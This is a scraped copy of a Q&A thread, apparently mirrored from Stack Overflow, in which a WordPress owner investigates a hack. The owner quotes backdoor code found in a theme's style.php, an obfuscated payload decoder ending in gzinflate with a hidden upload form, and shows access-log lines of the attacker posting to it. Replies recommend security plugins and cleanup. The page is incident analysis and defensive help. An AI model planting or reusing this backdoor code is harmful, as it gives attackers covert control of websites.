Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/php/297.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Php Wordpress漏洞问题_Php_Wordpress_Security - Fatal编程技术网

Php Wordpress漏洞问题

Php Wordpress漏洞问题,php,wordpress,security,Php,Wordpress,Security,我的wordpress网站刚刚被黑客入侵,在查看日志后,我发现他们利用了这个文件:www/wp-content/themes/mytheme/style.php 当浏览这个链接www.mywebsite.com/wp-content/themes/myteme/style.php时,我发现一个带有按钮的输入字段。所以我猜这就是他们上传shell脚本的地方 function pre_term_name( $wp_kses_data, $wp_nonce ) { $kses_str = str_re

我的wordpress网站刚刚被黑客入侵,在查看日志后,我发现他们利用了这个文件:www/wp-content/themes/mytheme/style.php

当浏览这个链接www.mywebsite.com/wp-content/themes/myteme/style.php时,我发现一个带有按钮的输入字段。所以我猜这就是他们上传shell脚本的地方

function pre_term_name( $wp_kses_data, $wp_nonce ) {
$kses_str = str_replace( array ('%', '*'), array ('/', '='), $wp_kses_data );
$filter = base64_decode( $kses_str );
$md5 = strrev( $wp_nonce );
$sub = substr( md5( $md5 ), 0, strlen( $wp_nonce ) );
$wp_nonce = md5( $wp_nonce ). $sub;
$preparefunc = 'gzinflate';
$i = 0; do {
    $ord = ord( $filter[$i] ) - ord( $wp_nonce[$i] );
    $filter[$i] = chr( $ord % 256 );
    $wp_nonce .= $filter[$i]; $i++;
} while ($i < strlen( $filter ));
return @$preparefunc( $filter );
} 

$wp_auth_check = '<form method= "post" action= ""> <input type= "input" name= "_f_wp" value= ""/><input type= "submit" value= "&gt;"/></form>';

您可以使用WordPress安全插件,例如:WordFence、Bullettle Security、Sucuri Security、iThemes Security、Acunetix WP SecurityScan

及 检查以下页面:


该行就是输入的位置。该漏洞将是发布到的任何内容。该操作似乎是空白的,因此我假设有一个jQuery/AJAX调用正在停止提交并传递数据。那将是检查的地方。从那里,您将知道数据实际发布的位置以及正在执行的查询。检查查询是否使用PDO和/或输入是否已清理


不过,作为WP安全性的普通助手,我喜欢Sucuri WP插件。

WP\u auth\u check中的表单没有文件加载程序。你能包含更多来自style.php的代码和相关日志条目吗?嗨,Adam,我已经包含了更多来自style.php的代码,还有一些我认为与攻击相关的日志行。谢谢你的帮助。实际上我暂时评论了这句话,因为我不知道该怎么办$wp_auth_check='';你把这些文件都填好了吗?大多数wp主题都有一个style.css和一些php文件,比如index.php、functions.php等。这可能是合法的,但看起来有点可疑。另外,关于日志,您是对的,似乎攻击者使用style.php上传了一个shell。如果style.php是主题的一部分,您应该联系开发人员,让他知道该漏洞。如果您对安全性有所了解,您可以在最近修改的文件中搜索感染,如果您有最近的干净备份,请使用它。我不会太偏执强硬,这些事情都会发生。。
195.211.142.36 - - [19/May/2017:19:00:17 +0100] "POST /wp-content/themes/mytheme/style.php HTTP/1.1" 301 - "http://mywebsite.com/wp-content/themes/mytheme/style.php" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; AMD64)"
195.211.142.36 - - [19/May/2017:19:00:18 +0100] "GET /wp-content/themes/mytheme/style.php HTTP/1.1" 200 123 "http://mywebsite.com/wp-content/themes/mytheme/style.php" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; AMD64)"
195.211.142.36 - - [19/May/2017:19:00:27 +0100] "GET /TEST777/system.php?ar=test333.zip HTTP/1.1" 200 260 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; AMD64)"
195.211.142.36 - - [19/May/2017:19:00:33 +0100] "GET /TEST777/test111 HTTP/1.1" 200 270 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; AMD64)"
195.211.142.36 - - [19/May/2017:19:00:40 +0100] "GET /wp-content/themes/mytheme/style.php HTTP/1.1" 200 7680 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; AMD64)"